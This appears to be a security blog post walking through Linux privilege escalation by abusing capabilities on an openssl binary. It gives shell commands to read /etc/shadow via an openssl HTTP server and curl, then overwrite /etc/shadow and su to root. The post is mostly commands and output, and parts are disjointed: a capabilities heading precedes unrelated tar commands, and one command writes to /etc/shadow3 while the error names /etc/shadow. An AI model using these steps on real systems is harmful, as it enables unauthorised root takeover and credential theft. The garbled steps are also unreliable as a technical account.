Day 44: Linux Capabilities Privilege Escalation via OpenSSL with SELinux Enabled and Enforced

Read more about the actual capabilities here: http://man7.org/linux/man-pages/man7/capabilities.7.html

There has also been some nice articles written about using capabilities for priv esc by abusing binaries that can do certain things, like read and write files etc.

Find out what capabilities are Enabled

```
[user@box ~]$ tar -cvf shadow.tar /etc/shadow
[user@box ~]$ tar -xvf shadow.tar
[user@box ~]$ cat etc/shadow
root:$6$saltsalt$HOC6AvLVkxCTYnJ5Tc78.CYF/KdcBDmheMbOGQTqiMUZhdKof
7eXjN9/6I3w8smybsEQEaz5Vh8aoGGs71hf20:17673:0:99999:7:::
bin:*:17632:0:99999:7:::
daemon:*:17632:0:99999:7:::
...
```

But what is special about our output, if you look closely this should stick out...

```
[user@box ~]$ openssl smime -decrypt -in /tmp/shadow.enc -inform
DER -inkey /tmp/privkey.pem -out /etc/shadow3
Enter pass phrase for /tmp/privkey.pem:
Can't open output file /etc/shadow
140131862038416:error:0200100D:system library:fopen:Permission
denied:bss_file.c:175:fopen('/etc/shadow','w')
140131862038416:error:2006D002:BIO routines:BIO_new_file:system
lib:bss_file.c:184:
```

As we can see, **Permission denied.** As expected, this is because we inherited our low level capabilities. Thanks Linux for protecting us, or not?!

```
[user@box ~]$ cd /
[user@box ~]$ openssl s_server -key /tmp/key.pem -cert
/tmp/cert.pem -port 1337 -HTTP
```

Another Low-Priv Terminal on Same Host

```
[user@box ~]$ curl -k "https://127.0.0.1:1337/etc/shadow"
root:$6$saltsalt$HOC6AvLVkxCTYnJ5Tc78.CYF/KdcBDmheMbOGQTqiMUZhdKof
7eXjN9/6I3w8smybsEQEaz5Vh8aoGGs71hf20:17673:0:99999:7:::
bin:*:17632:0:99999:7:::
```

Now it's time to write the new shadow file

```
[user@box ~]$ cd /
[user@box /]$ /home/ldapuser1/openssl smime -decrypt -in
/tmp/shadow.enc -inform DER -inkey /tmp/privkey.pem -out
/etc/shadow
Enter pass phrase for /tmp/privkey.pem:
[user@box /]$ IT WORKED!
```

Finally, lets su to root

Written by Atumcell Labs

Follow

2.3K Followers

Security Research Team @ Atumcell